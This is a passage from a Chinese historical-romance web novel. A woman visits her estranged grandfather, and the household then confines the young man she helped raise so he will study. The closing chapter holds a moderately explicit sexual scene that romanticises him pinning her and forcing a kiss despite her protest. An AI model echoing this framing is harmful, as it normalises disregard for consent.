“我也是这么想的。”张若菱立刻点头,拿起狼毫在纸上记了两笔,她做事细心体贴,靠自己一人本也可以揽过家事,只是家中好歹还有“长辈”在此,有些决议她须得过问后再行事,这是她的礼数。 安置好这些,张若菱放下笔,笑着起身:“既阿姆也觉得可行,就先这么定下。今日趁早,锦云也起了,咱们就先上街去吧,赶集总要趁早不是?家里冬衣被面嫌沉也没带过来,趁着今日一并采买了吧。” 两人简单用了顿早膳,带着陈锦云,跟了两个壮实的婆子,坐上马车往京城的街市去。 张若菱撩开车帘一角,轻声说道:“咱们住的地方虽小,离皇城根到不算远,锦行进宫当值,马车半个时辰就能到太和门。” 沈樱顺着她的目光望去,隐约可见远处宫墙高耸,檐角飞翘,隐在晨雾里透着威严。 她从楼烦之地到金陵来,本就是初入花柳繁华之地,满心满眼都被震惊得不行,京城更是震撼威严,她从没想过,自己有生之年能踏足这里。 但她也不得不想到一些往事,这里是她母亲长大的地方,也因此,她乘着马车行过这些路面时,心中总会泛起别样的情愫。 张若菱又道:“咱们这宅子在西街的锦官坊,算是京城里头不算偏的地界,一来离皇城进,二来坊里多是正经官眷,咱们住着放心。” “嗯。”沈樱淡淡应着。 张若菱又指向街对面成片的青砖灰瓦:“您瞧那边,我听说,四品以上官员就可以住三进三出的院子了,那里面,住的便是什么侍郎、御史之类的 了。”说着,她面露向往。 沈樱笑道:“你倒了解了许多。” 张若菱笑着,伸了下舌头,露出腼腆神情:“都是锦行告诉我的。” 说完,她小心打量了下沈樱,又道:“听说阿姆与谢家公子有些交情,谢家可不住在这里面,还要往前走一截,占了一整条街的大宅子,才是谢家呢。” 沈樱握着暖炉的手顿了顿,原本许久没想起谢清樾了,不知他在北境如何了? 一想起他,难免的,满脑子都是他走前说的那话。 她压下心头的波澜,解释道:“是有些交情,但也谈不上太深。” 张若菱看出她并不想多谈论此事,便知趣地转了话题:“锦云,我与你兄长商量过,再过两年,待你及笄,就想法子送你到京中赏花宴亮相,你也可结交一些闺中好友,再有就是……也能认识一些京中同龄的朋友。” 沈樱抚着陈锦云的头,轻声道:“时间过得可真快,转眼锦云都是大姑娘了。” 陈锦云偎在沈樱掌心里,朝张若菱颔首:“谢谢嫂嫂。” 张若菱笑道:“到时给你做身最时兴的襦裙,再打一套最漂亮的头面,保管我们锦云站出去比谁都好看。” 陈锦云面露羞赧,往沈樱怀里钻,沈樱指尖轻轻拂过陈锦云发顶,轻声道:“是啊,该盼着些了。到时候阿姆也给你准备份贺礼,想要什么?先跟阿姆说说。” 陈锦云眼睛骤然一亮,为的却不是贺礼,而是:“阿姆,你不会走了?” 沈樱一愣,她不是不走,只是许久没想起要走的这件事了,她也很难反复提醒自己,迟早有天是要走的。 说话间,马车渐渐慢了下来,婆子在外禀报:“沈姑娘,大奶奶,前面到锦绣街了,布庄就在拐角。” 张若菱拿帕子按了按唇角,岔开话题:“快下车吧。” 两人被婆子搀扶下车,沈樱一脚迈下来,这条街上人声鼎沸,张若菱已自顾去询问京城布料价格了。 沈樱一抬头,街对面一扇硕大的气派招牌“沈氏药局”就在眼前。 她一怔,没想到这么早就能遇见。 药局内同样是门庭若市,来往皆是锦衣华服,店中伙计个个都身姿气派,称得上是拿着鼻孔看人。 她望进店中,很难不去想,有没有可能,在这里碰到她的外祖,或是舅舅们。可惜她从未见过他们,就算面对面站了,也认不出对方。 “阿姆,怎么了?”陈锦云拉了拉她的衣袖,才让她回过神。 沈樱深吸一口气,压下心头翻涌的情绪,勉强笑了笑:“没什么,快进去,挑挑你喜欢的布料。” 陈锦云点头应“是”,却望了望沈氏药局的门头,又看了看阿姆,不难想到什么。 她把手塞进沈樱掌心,要她牵着她。 “阿姆,你也快进来挑挑。” 傍晚,三人拖着慢慢一马车的东西,回到陈府。 几个婆子上来卸货,沈樱坐到厅堂里,张若菱给她沏了茶:“阿姆先歇歇,今天累着了吧。” 沈樱接过茶盏,才觉出几分疲惫,望着庭院里正欣喜帮着搬布料的陈锦云,笑道:“倒是没什么累的,瞧锦云多欢喜。” 张若菱在她身边坐下,顺着她的目光看去,也忍不住笑:“那匹浅粉的,给锦云做袄子,水绿色的那匹,我倒觉得最趁你。” 沈樱握着茶盏的手顿了顿:“那样脆生生的颜色,小姑娘穿才最好。” 张若菱道:“阿姆,你肤色白皙,骨骼又生得宽阔,那水绿色唯有你才撑得起,既不显妖娆,还能显出几分庄重来。你若是不愿做成外衣,做成寝衣,做成小裤儿也是好的呀。” 沈樱还欲拒绝,张若菱连声劝她,她倒不好不要了,便点了头,吩咐人拿去做。 正说着,门外传来马车声,门口恰有两人通报,显出几分家宅气派来。 陈锦行一身藏青官袍走进来,浑身还带着寒气,步幅唰唰作响,脸色却并不好看。 他先朝沈樱躬身:“阿姆安,今日出去采买,可还顺利?” 张若菱连忙起身迎上去,接过他脱下的大氅,又让丫鬟端来热茶:“一切都好,买了不少东西,锦云喜欢着呢,阿姆也挑到合适的。” 陈锦行顺着她的目光看向沈樱,目光在她脸上停留片刻,才道:“京中冬日比金陵冷上不少,多备些衣物是好。” 沈樱却没顾其他的,只问他:“今日在宫中当值可还顺利?宫里主子们只怕不好伺候。” 陈锦行指尖在杯沿摩挲片刻,眉头微蹙:“宫里的人倒无心为难我一个小小院判,只是,同僚当中有一人,待人格外严苛傲慢些,我初来乍到,倒不好打交道。” 说着,他抬眼看向沈樱。 沈樱起先不明白他为何看向自己,按理说,陈锦行应当已是有足够能力应对官场这些事情,只是时间早晚罢了。 他垂眸喝了口热茶,她瞬时想明白了些。 沈氏药局在京中盘踞颇深,族中子弟有在太医院任职的,实是再正常不过了。 “沈仲礼高我一级,算我上峰,深受太后和皇上信重,又有家世背景,见我是太后下旨封进来的,对我颇有些审视,总有为难。” 张若菱在一旁听着,连忙道:“许是他本就性子严谨,并非针对你?你初到太医院,多留心便是,别往心里去。” “但愿如此。”陈锦行放下茶盏,“只在外稍加打听,便知沈家人极难相处,皆是眼高于顶的傲慢人物,我难免多想了些,对方根基深厚,若存心看不惯我,只怕难办。” 沈樱没答话,却知道陈锦行的意思。 两家人若解开误会,到底算是一家人。 若是这其中有这么一层关系而不想着用,倒是陈锦行蠢笨了。 可沈樱不禁想,若是陈锦时,就算被逼到极致,也不会回来求她迈出一步。 不过也没什么好想的,两兄弟本就不一样,陈锦时处事太过极端,不懂圆滑,反而不好。开口求一句,事情便能好办许多,何乐而不为呢? 只是,沈樱原本也不想与外祖家相认的。 张若菱不知其中牵扯,只心疼丈夫,连忙道:“明日我让厨房早起些,给你备些热粥糕点,你带着去宫里,别空着肚子做事。实在忙不过来的,便找个由头推一推,总不能让他把你当牛使唤。” 沈樱看着两人相顾的模样,正要开口说些什么,陈锦时恰从外面进来, 他走到沈樱身边,径直一坐,后背往椅背上一靠,胳膊随意搭在椅沿,下巴微抬,活像他才是这个家的大爷。 “哥,这事儿你都要烦到阿姆跟前来?” 沈樱脸色一沉,冷厉看向陈锦时:“我们在说正事,读你的书去!” 陈锦时却没起身,指尖在扶手上轻轻敲着,语气散漫:“哥,这事儿我替你办了,明日我去太医院门口等他,他要再刁难你,我就揍他一顿,直到把他给揍服气了。” “你敢!”陈锦行猛地拍桌,“你别以为自己天不怕地不怕,皇宫那是什么地方?容不得你胡来!” 沈樱也瞪着他:“陈锦时,沈仲礼是舅舅。”她母亲的亲弟弟。 陈锦时一怔,嘴角咧起来:“是舅舅啊,阿姆,你也不早说。” 陈锦行面露疲惫,站起身:“此事我早有应对,今日与阿姆说起,只是知会一声。事情解决法子虽多,但我到底不愿与沈家产生龃龉,难免要多揣度一番。陈锦时,你消停些吧。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 45-50 第46章 陈锦时又变回那副漫不经心的模样,挑眉道:“既是舅舅,哥哥,那你好好服侍服侍他也是应该的,他若再刁难你,这舅舅便当得也不怎么样,我陈锦时不认他。” 沈樱揉了揉眉心,人家还没说认他们,陈锦时倒好,尽说些傻话。 她放下茶盏,声音淡得没什么起伏:“罢了,我身为晚辈,身为母亲的女儿,既入了京城,不管他们认不认我,我都该上门拜访一番。” 陈锦时一听这话,不乐意:“你去什么?不去!该叫他们来请你过去。” 沈樱抬眼瞧他:“你也真是,我去不去的,与你何干?陈锦时,你未免管得有些太宽了。” 这话说得有些重了,可不久前他们还亲密无间。 张若菱忙劝道:“不过是上门递个贴、问声安,咱们这边笑着脸去,能受什么委屈?时哥儿,你别胡闹。” “那我陪你去。” 沈家与谢家一样,也占了半条街,不过谢家是占的皇城根儿下的半条街,沈家要稍远两条街市。 沈樱备了厚礼,先递了拜帖,拿出母亲留给她的精巧印章,盖了印,才送去。 到了这日,陈锦时定要陪着她去,沈樱命令他留在府上读书,不必搅和这些事情。 “沈樱,我怕你受欺负。” 沈樱正坐在妆台前梳妆,陈锦时从柜子里给她翻出两套衣裙:“穿这个吧,这个颜色深,显得威严。” 他拿着衣物走到她身后,指腹摩挲着她后颈,声音放得软:“再说,他们给你脸色看怎么办?” 沈樱将他手攥下来,无奈道:“我不是小孩子,在你眼里,我就连这样的事情也处理不好么?” 他脑袋垂下来,下巴抵着她发顶,手伸向前,捏在她下颌处摩挲,远看,他一只手掌能全然包裹住她的脸。 “你能处理好,可你惯会受了委屈往肚里吞,叫人不放心。你既跟了爷,爷是一点委屈也不让你受的,要是旁人敢给你脸色看,就算当场我不发作,事后我总得知道该找谁报仇不是?” 沈樱脸色一沉,挥开他的手,眼睛向上瞪着他:“动不动的,哪儿有那么多仇要报,你乖乖在家读书,就是要跟着我去,你若有进士功名,才更能给我撑腰呢。” 陈锦时望着她冷淡的眉眼,喉结动了动,俯身捧住她脸颊深深印了一吻,随后下巴抵在她肩窝,声音闷闷的:“好,这次听你的,我会成为你的靠山,让沈家那些人总有一日要反过来巴结你。” 沈樱终于被他逗笑:“随你。” 到了定好的时辰,沈樱拎起披风往外走,马车已在门口候着了,她一步迈上去,转身摆摆手:“你回去吧,陈锦时。” 陈锦时站在廊下,晨雾还没散尽,把他的身影晕得有些模糊,偏生那双眼睛亮的很,一眨不眨黏在她身上。 张若菱也过来送,嘱咐道:“若是在那处受了冷待,咱们也不是定要认这门亲戚。” “知道了,回吧,不过半个时辰马车的功夫,一个个都这么望着我做什么?吃了闭门羹我还不知道回来?” 听了这话,张若菱反倒越发担忧起来。 像她这样的女子,这样的人,若是在亲戚家门前吃了闭门羹,必是要哭着回来的。可沈姑娘不同,她似是天生就不在意这些,也不怕丢脸,张若菱不得不佩服她。 沈樱穿着素雅,身后又无随从,沈家的朱漆大门前两个门房见了她,便先带了几分轻慢,待回去禀过了家主,才出来迎她进去。 沈樱身上一半异族血统,隐隐透着浅绿色的琥珀瞳孔、高健而挺拔的不似汉家闺秀的身姿,无不令府中老人回想起,多年前远嫁楼烦的那位姑奶奶。 沈樱听见了那些絮絮低语的议论,也知道自己本应该一辈子也别出现在这里。 引路的正是位老仆,见着沈樱颇为感慨:“啧,姑娘跟我们小姐真是生得像极了,可惜了。” “可惜什么?”沈樱问道。 “可惜……当初大小姐与家主闹到了死生不复相见的地步,姑娘这次来,我真不知是好是坏。”说着,他擦了擦额上的汗。 沈樱脚步顿了顿,没多问,只顺着那话轻声道:“我只是替母亲来看看,也不是为了什么。” 老仆叹了口气,引着她穿过两道月亮门,往正厅去。这座宅院处处精致华贵,看得出沈家一门行事矜高,极注重自身门第,怪不得,会不惜与不听话的女儿决裂。 到了正厅门口,老仆先掀了帘子进去通报,不多时便出来躬身:“姑娘进吧,家主在里头等着。” 沈樱深吸一口气,掀帘而入。正厅里燃着银丝碳,暖意融融,主位上坐着一位银发老者,面容刚毅,眉眼间隐约可见与她母亲有一分毫不明显的相似。 “沈樱见过外祖。” “你就是令婉的女儿?”沈承安开口,声音没什么温度,目光落在她异色瞳孔上时,眉头瞬时皱起。 像是想起了什么扎心窝子的事。 他沈承安的女儿,嫁给了一个蛮子,生了个异族女儿,现如今回来认亲来了,这要他如何相认? 可她……细看倒不完全像令婉,她比年轻时的令婉多了股韧劲儿。站在这满室华贵里,沈承安一眼就能看出,对方不是来讨好他的。 沈樱垂着眼,应声:“是,晚辈沈樱,奉母亲遗愿,来向外祖请安。” 沈承安站立起身,愤怒缓缓转变为震惊,嗫嚅着:“她……令婉她已经……” 他失魂落魄地坐下,也是,令婉与他们早断了往来,他自然不能得知此事。 沈承安手指抖得厉害,指着门外的天:“那地方苦寒之地,又多战事,她自己选的路,这也是她咎由自取!一个京城宅门里长大的姑娘,如何能在那处生活……” 他的肩膀垮了半截,从前坚持的恨,不知怎的,忽然就消散了大半。 他目光重新落在沈樱身上,审视她,打量她,眼中仍是锐利。 “你姓沈?” 沈樱颔首:“我汉名随母姓。” 他锐利的目光松了些,目光扫过她,沉默半晌,站起身,语气硬邦邦的:“跟我来。” 沈樱跟着他穿过回廊,绕到后院一处月亮门,推开木门,满院朱砂梅映入眼帘,他转身看向沈樱:“你既来了,就先住下吧,有什么话慢慢说。既然姓沈,我断没有赶你出去的道理。” 沈樱望着满院梅树,看向外祖父,眼眶忽然发热,屈膝深深行了一礼:“谢外祖。不过,我不住这儿。” 沈承安刚松下的眉头又拧起来:“我沈家愿意接纳你,已是我念着旧情,莫非你还瞧不上我这个外祖?” “外祖误会了,我今日前来,只为拜访长辈,周全礼数,绝无投靠之意。” 沈承安脸色一沉:“你是我沈家的女儿,既然来了,这里就是你的家,莫非你已成婚,有了夫家?” “我虽姓沈,却并不是沈家的女儿,我生来自由,来去也自由,抱歉,祖父。” 沈承安被这话一噎,只觉得扎心,这外孙女跟她母亲一模一样,他厌恶这样不听话的晚辈,为了自由,连礼法也不顾。 “罢了,随你的意,到后院去看看你外祖母,你就走吧。” 沈承安无意与她多说,又问起,她如今在京城何处落脚的话,沈樱才将陈家之事托盘而出。 “将军待我有恩,待报过了恩情,我便回楼烦。” 沈承安免不得又被气上一阵:“你真是糊涂!为了报恩,连婚事都误了,你瞧瞧你如今都是多大年纪了!在京城,从没有过像你这样老的姑娘!” 沈樱没接话。她原本也是在楼烦过着游医放牧的生活,她不是京城女子。 外祖母身体不好,沈樱不敢多叨扰,对方待她也冷淡,简单看过一眼,问了声好,便要告辞。 沈承安叫方才送她进来的老仆再送她出去:“陈家如今门第尚可,陈济川我也有所耳闻,在皇上跟前是挂了名的人物。你便好生在那处待着,教导好三个孩子,务必不要让他们丢了你的脸面。太医院的事情,我知道了,等老三回来,我会叮嘱他的。既然你不愿留下来,往后在外也不必说你跟我沈家有什么关系。” 沈樱心口泛着酸,她知道老人家希望她留下,正经成为沈家的女儿,从此便是什么事情都要听沈家的安排,她身上的任何事情拿出来对沈家来说无一不称得上是“丑事”,两相本就不合,来见一面是情理,留下来就不合适了。 再者,外祖之所以愿意与她多说几句,无非是她如今所在的陈家门第尚可,不算辱没了沈氏的脸面。 “是,我知道。” 回到陈府,沈樱刻意不见陈锦时,陈锦时却一直在等她。 见她回来,他几步迎上来,眼神先把她上下扫了个遍,见她神色平静,才松了口气:“没被 欺负?” 沈樱避开他的目光,往东厢房走:“没有,就是见了见两个老人家,没什么事。” 沈樱嫌他烦,挥开他的手,陈锦时又缠上来,跟她跟得紧。 “灶上热着银耳羹呢,阿姆,我给你盛一碗过来,你到厅里坐着去。” 他拉着她往厅里走,走在她跟前,她的手被他牵在掌心,她的手臂纤长,被他在空出拉出一道弯弯的弧。 她挣了两下没挣开,索性随他去了。 他把她按在椅上,前后无人,他捏了捏她的脸蛋:“等我一会儿。”转身往灶房走。 沈樱忍不住勾起唇角,垂下头,没一会儿,他端着白瓷碗回来,还冒着热气,他小心吹了吹才递过来:“刚温过,不烫了,你尝尝。” 沈樱接过碗,勺子舀起一勺银耳,糯得能化在嘴里,甜意也刚好。她没说话,慢慢喝着,陈锦时就坐在对面,手撑着下巴盯着她。 她放下碗,轻声道:“谢谢。” “跟我客气什么!”不过是得了她一个好脸色,他立刻凑过来,手指轻轻蹭她脸颊,“阿姆,你要我为你做什么我都愿意。” 沈樱偏开脸:“陈锦时,别闹。”她将他手挥下。 他在她身边坐下,声音放得软:“那你靠着我会儿,我就在这儿陪着你。厨房做了你爱吃的羊肉,我再叫你。” 沈樱没应声,靠在椅背上闭着眼休息,张若菱知她回来了,连忙从房里出来看她。 手里攥着缝了一半的帕子,目光先把沈樱打量一圈:“早就听说沈家那处规矩大,阿姆没受委屈吧?” 见她来了,沈樱扭头示意陈锦时:“你回房读书去吧。” 她如今整日把督促他读书挂在嘴边,为的正是将军当年的嘱托,要陈锦时好好走科举一路。 像他这样的性子,若不能在这一路上走到顶峰,这一生又如何能甘心? 他如今尚且年幼,若到中年,想起自己本有一身武艺,却被迫从文,最终也只得了个不上不下的结果,他该多么失意。 在朝上做文官少不得要顾忌名声,他幼时再是顽劣不堪,与他赤条条一人来去,也无关,他大可从今日起,做那朗月清风的君子之态,与高门公子结交,也去尝尝那受人追捧的滋味。 可观他今日模样,沈樱实在想叹气。 陈锦时自然不知她心中盘算,在她身边磨蹭了半晌才起身:“读读读,这书我把它读烂,也不知你会不会多看我一眼。” 沈樱拧眉朝他看去,板着脸:“我看不看你,与你读不读书有什么关系?” 张若菱坐在一旁本没说话,这会子,倒想起些不相关的。 她放下手里的针线,笑着吟:“银屏华鬓人如玉,红袖添香夜读书。要让时哥儿安心读书,身边就差一位红袖添香的佳人,你说他读书跟你看他有什么关系?自古以来,这都是真理呀。” 沈樱怔怔望向她,没料到她会说出这样一句诗来。 张若菱捂着嘴,尴尬地笑:“开个玩笑,开个玩笑。”她可没什么意思的。 沈樱耳尖悄悄泛起热意,伸手端起桌上凉茶抿了一口,才压下那点不自在,故意板着脸:“什么佳人不佳人的。” 张若菱笑道:“我的意思是,时哥儿,你得好好读书,往后才有佳人相伴,若是不好好读书,便永远也没有佳人。” 陈锦时似笑非笑一张脸:“嫂嫂有一句话说得对,我读书不就为了一位佳人么?只要她看我一眼,我当真可以将书读烂,我说真的。” 沈樱瞪视他,陈锦时却不怕她的瞪视,反而往前凑了凑,直勾勾盯着她看。 恰在此时,陈锦行回来了。 “陈锦时,不可对阿姆不敬。” 兄长的声音威严震慑,像在颁布一道律令,独属于陈家宅邸的律令。 陈锦行越过陈锦时,走到主位落座,目光先扫过陈锦时那副样子,又落在沈樱身上:“阿姆,听说你今日去沈家了。” “嗯。见了外祖和外祖母,没见到舅舅他们,说了些家常话,一切都好。” 陈锦行目光又转向陈锦时,语气严肃:“读书是为了你自己,你瞧瞧你整日那副胡闹的样子!” 训斥完陈锦时,他看向沈樱,请示道:“阿姆,依我看,年前就将陈锦时关在房里禁闭,非不让他见天日才可。” 沈樱一愣,接收到陈锦行的视线,轻轻点了下头,双方一致认为,陈锦时这阵子行事有些过分了。 事情的确不该是他想怎样就怎样的。 沈樱虽不愿为难陈锦时,但陈锦行架住她了。 教训孩子,的确不能只赏不罚。 陈锦时一听“禁闭”两个字,脸色瞬间沉下来:“陈锦行,我都多大了,你还搞这一套。” 陈锦行还未开口,沈樱站起身:“够了,我认同锦行的提议,陈锦时,我的确认为你在年前,不,在会试之前,你都需要闭关苦读,这些日子你都不要出门了,我会派人锁住你的门。” 陈锦时坐下,背倚在靠背上,脸色平静下来,挑眉:“既然阿姆都这么说了,我自然听阿姆的。” 张氏也不知为何,丈夫一回来,三言两语的,就要把时哥儿关起来了。 不过她头顶两位都同意的事情,她也不好说什么,只叹,时哥儿那样的性子,只怕要苦一阵了。 晚膳上桌,陈锦时一直盯着沈樱看,沈樱没有回他一眼。 会试在即,陈锦时太过心浮气躁,她必须得让他降降火气。 “快些吃饭,陈锦时,这应当是你年前最后一次在这里吃饭了。”陈锦行语气冷冰冰。 陈锦时神情一动,夹了块羊肉,往沈樱碗里送:“阿姆多吃点。” 晚膳过后,陈锦行亲自挑了一把锁,带着沈樱把陈锦时推进了西厢房。 旺儿在外看得心急,连忙求情:“大少爷,二少爷他知道错了,他也不是小孩子了,就这么关起来只怕不妥。” 陈锦行瞥他一眼:“他知道错了?你知道他错哪儿了?” 旺儿脸色难看,还能错哪儿?他家爷就那个性子,要说错,他整个人单单站在那儿就能挑出错来。 此时陈锦时在房里乖乖坐着,沈樱看着陈锦行“砰”的一下关上门,就像关上一头暂时平静的凶兽。 门彻底闭上之前,她还看见陈锦时在对她呲牙咧嘴地笑,她不敢看他的眼睛,不过勉强能猜测,他的眼神并不似他的唇角那般上扬。 锁舌“咔嗒”一声落位,沈樱心里莫名揪了一下。 陈锦行将钥匙递给一旁的婆子,沉声道:“每日一餐从窗户递进去,除了笔墨纸砚,不许送任何闲杂物件。” 婆子应下,旺儿站在一旁,只能偷偷往里瞅。 陈锦行转身往回走,瞥了一眼旺儿,警告道:“你若是帮他开了门,我就把你拎出去发卖了。” 旺儿浑身一颤,连忙摆手:“不,不敢,爷,您就饶了我吧。” 这位大爷自从升了官儿,浑身威严骇人得很! 沈樱别过头,往东厢走,陈锦行跟上来,声音低沉稳重:“阿姆,时哥儿需要修身养性,他那性子,就算闹翻了,这回也别给他开门。” 沈樱轻轻“嗯”了一声,语气也硬了几分:“锦行,你放心吧,我不会再心软。” 天色渐晚,沈樱推开窗,朝对面望去,西厢的灯亮了,窗边隐约可见,他正倚窗执笔而坐,瞧着安分得紧,只偶尔抬手翻书,不知怎的,纸页翻动的轻响,竟能顺着风飘到她耳中。 她恍然发觉,已许久未见他握剑的模样了。 那道身影,逐渐与窗纸上的昏黄身影重叠起来。 那人手腕翻转间,尽是少年人的张扬,尤见剑穗破空时带起的风,撩起他的鬓发。 窗纸上的身影,脊背绷得笔直,执笔的手悬在上方。 这座宅子,实在是太狭窄了。 她看见那具身影顿住,似是遇到了难处。 她看见 他抬手揉了揉眉心,又俯身凑近桌面,手指在字里行间慢慢划过,像在逐字斟酌。 她松了口气,落下窗户,这样也好,这样也好。 第二日清晨,沈樱刚起身,走到窗边,白日里就这点不好,她看不见他在房中的影子。 好在旺儿从西厢收拾了一阵东西出来,见了她便道:“沈姑娘,二爷天没亮就起来读书了,大爷可真是心狠,一天只让送一顿饭,二爷这身子哪里遭得住……” 一天一顿饭如何就不够了?寻常百姓家一天只吃一顿的多了去了。 沈樱从前在楼烦时,也不知金陵、京城里的大户人家一天要吃三顿并闲时茶点呢。 这样金贵的日子,她也是自打来了陈家,仰仗将军照顾才过上的。 沈樱铁了心这回不能心软:“寒窗苦读之所以叫寒窗苦读,少不了这一个‘苦’字,读书不苦那能叫读书?” 旺儿闭了嘴,转了转眼珠子,又道:“沈姑娘,那我去给二爷窗户再漏个缝儿,得透点寒风进去,叫他哆嗦着手读,那才叫一个地道!” 这话听得沈樱一怔,随即瞪了他一眼,又心想陈锦时身体健壮,虽有喘症,却也许久没有发作过了,透点风进去人也精神些,想来是好的。 “稍开一些,别开大了,冻病了反耽误读书,得不偿失。” 旺儿一愣,低声喃喃:“您这回也真是心狠呐,得,我这就去!” 待他走后,沈樱又在廊下站了片刻。西厢房里一整日都是静悄悄的,陈锦时真是乖得很。 一整日都静悄悄的过去,陈锦行来了一趟,见他在房中好好的,没说什么便走了。 夜深后,沈樱洗漱过后刚吹了灯,房门“吱呀”一声响,她心头一紧,手腕已被他齐齐举起,摁在墙上。 躁动、委屈,力气极大,热气扑在她唇上。 “阿姆,你好狠的心。”声音沙哑又压抑。 “陈锦时,你怎么出来的?”她面露惊惶,既不知他是如何无声无息从上锁的房门里出来,也不知他是否生了她的气。 他目光灼灼地盯着她,她挣扎了一下,没能挣开,他呼吸里带着急促的热气,将她往后抵,一直抵到妆台上。 他一手扣住她后颈,迫使她抬头,俯身吻下。沈樱猝不及防,浑身紧绷。 他的舌尖强势占满她的唇舌,狠狠在她唇上咬了一口。 她哼出声,用力推他胸膛,直到她憋得脸颊通红:“你滚!” 他稍稍退开,额头抵着她的额头,手捧她脸颊重重摩挲:“我为何不能出来?阿姆,一条尝过肉的狗,让他再去吃素,这是完全不可能办到的事情,你早该有心理准备的。再说现在,难道你要让一头饥渴交加的野狗吐出口中的食物?未免太不切实际!” 第47章 沈樱趁着他放开她的间隙,狠狠喘着气。 陈锦时此时此刻看起来就像个疯子。 “阿姆,不切实际的事情干嘛要去相信?我出现在这里,难道不是一件理所当然的事吗?” 他挟住她的下巴,因方才重重亲吻而肿胀的红唇往上扬起,轻轻张开。 这对他天生便有极大的引诱,他沉入其中,是命中注定的事情。 他做错了什么呢?他只不过是一切听从天命罢了。 沈樱怔怔望他,发现自己无话可以反驳。 若是陈锦时真的乖乖在西厢房内闭关到了明年春天,那才叫痴人说梦。 怎么可能呢? 他俯身凑到她耳边,热气扫得她耳尖发烫,浑身发麻。 躁动顺着耳尖下滑,落在脖颈时,她忍不住瑟缩了一下,指尖无意识向上攀附,攥紧了他胸前衣襟。 陈锦时察觉到她的情动,扣在她后腰的手收的更紧。 “阿姆要在这里,还是去榻上?”他的声音哑得像浸了酒,唇瓣擦过她颈侧,留下细碎的痒意。 她偏开头想躲开,他已撩开她裙摆,另一只手用指腹捏住下巴,强行将她转过头来,凑在她唇边说到:“阿姆明明很想我的,我都摸到了,为何还要躲?” 月光从窗棂漏进来,刚好落在他眼底,那里面翻涌着的疯狂,像要把她整个人都吞下去。 不等她开口,他的吻又落了下来,这次不再是方才的急切蛮横,反而带着点耐心的研磨,从她泛红的唇瓣,慢慢往下,掠过她的下颌,停在她的颈窝,轻轻咬了一下,带着一声轻喘,像撒娇。 沈樱一向扛不住他撒娇的。 “唔……”沈樱闷哼出声,浑身的力气像是被抽走,软得几乎站不住,只能靠在他怀里。 陈锦时察觉到她的软化,手臂微微一勾,就将她整个人打横抱了起来。 沈樱浅呼一声,双臂搂住他脖子,脸颊贴在他胸膛上,到了床上,他压下来,听见他沉稳有力的心跳,掌住他结实的臂膀,她悬了一天的一颗心忽然就安稳下来。 她搂着他脖子,他往下去,她目不转睛地看着他,这样真好啊,晚上,这个床上有他,真好啊。 他俯身扯下她的裙摆,仰头轻笑:“阿姆,你今日真是心狠,你叫旺儿开的窗,真把我冻坏了,手一直哆嗦,连笔也拿不稳。” 他举起那只右手给她看,她仰躺在软枕上,对着昏黄的光打量那只骨节分明的手,他的指骨生得均匀又长,自小习武又从文,使他的手掌既生得粗粝宽大,又修长白皙。 金陵人的皮肤都是白的,陈锦时也是。 他举在那儿,轻轻地颤,月光与烛火缠在一起,在他手背上烫过,将那点淡粉的指腹、泛着薄青的血管都映得清晰,指甲盖修剪得圆润整洁。 她忍不住伸手,怎舍得他这双手冻得发颤呢。她指尖还未触到他,那手骤然向下撤去,又骤然贯穿。 沈樱扬起头颅,指甲深深嵌进他的肩膀。他肩头的皮肉富有弹性,陈锦时吃痛,却尚能忍受,俯身将她更紧地按在被褥上。 他垂着眼看她,指腹触到的温热使他眼底翻涌的情绪比方才更甚,他唇边却勾着轻浅的笑:“阿姆,你说说,你到底心疼不心疼?” 陈锦时的吻落在她下颌,指腹轻轻摩挲着,声音温柔得像是在哄她:“我今日写了三篇策论,就是这么哆嗦着写的,写的时候,我满脑子想的都是你。我想你怎么这么狠心,又想晚上要如何找你讨要安慰。” 沈樱的呼吸彻底凌乱,眼底浮起水汽,话到嘴边,只剩下细碎的喘息。 她揉动他的头颅,紧紧捏着他的耳朵,闷声道:“我那是怕你闷坏了,抱歉,时哥儿。” 他对她这样的回答感到不满,很快,他的不满显露出来,她惊呼出声。 “阿姆,你就是一点也不心疼我的。”他拉着她的手,落在腹肌上,“今天陈锦时应该得到奖赏。” 沈樱搂着他的肩,彻底沉迷。 她有时候在想,陈锦时明明是一个公认的,很不乖的孩子,为何他每日都能理直气壮地讨要奖赏,而她每次都认为自己应该给他奖赏。 他好像确实很乖的,难道不是吗? 账内烛火跳动的光在两人身上缠着,渐渐弱了下去。 她靠在他怀里,呼吸带着未平的微喘。他掌心贴着她的后腰,像团暖烘烘的火。 陈锦时低头,吻了吻她汗湿的额发,声音比方才更哑:“阿姆,我做得好吗?” 沈樱轻轻摇头,将脸往他颈窝埋得更深些:“你弄疼我了。” “对不起,下次不会了。” 床榻变得软绵起来,陈锦时手臂收得更紧,她歇了一会儿,扯过被子盖住自己,脚轻轻踹他:“你该回去了。” 陈锦时将她抱得更紧,直到她又被勒得喘不过气来,两条腿在底下踹他。 他埋在她颈窝里狠嗅了一口,才松开她。 “我明日再来,嗯?”他轻轻摩挲着她后腰。 沈樱没理他,陈锦时也不是一定要她回答,他低笑着起身,弯腰捡起散落在床底的衣物, 动作慢腾腾的。 沈樱被他磨蹭得不耐烦,被子蒙住脑袋,语气带着倦意:“快些滚回去!路上小心些,别被人撞见。” “知道了。”陈锦时应着,反而俯身凑到床边,隔着被子在她耳边,“阿姆,陈锦时全都给你,一辈子侍奉你。” 声音透过被子闷闷传进来,震得她耳膜轰鸣。 陈锦时听不见她的回应,却也不追问,只伸手轻轻拍了拍被子裹着的一团,像在安抚炸毛的猫。“我走了。”他低低说一句,才终于直起身,脚步放得极轻地往门口挪。 门轴又是“吱呀”一声轻响,又很快归于寂静。沈樱在被子里憋了好一会儿,才敢慢慢掀开一条缝,望向空无一人的门口。 她翻了个身,面朝里侧,沈樱渐渐闭上眼,倦意漫上来。 在悄无声息中,一夜过去,狭小宅邸恢复热闹拥挤。 沈樱推开窗,西厢房门紧闭,陈锦行特来检查过一遍,见弟弟仍安心在里面读书,连说今年要到父母坟前烧高香,祖宗保佑,陈锦时终于长大懂事了。 西厢确实传出读书声,旺儿说:“二爷今日又是天没亮就起来的。” 张若菱端着托盘过来,见她望着西厢房出神,便道:“这两日读书声就没断过,想来时哥儿是真开窍了,真不得了,明春定给咱家考个进士回来。” 沈樱收回目光,拢了拢衣领,确保颈上红痕被遮掩得严实,“嗯”了一声。 “灶上温了银耳羹,阿姆也一起用点。” 张若菱拉她过去,厅堂里已摆好碗筷,甜香顺着风飘进鼻腔里。 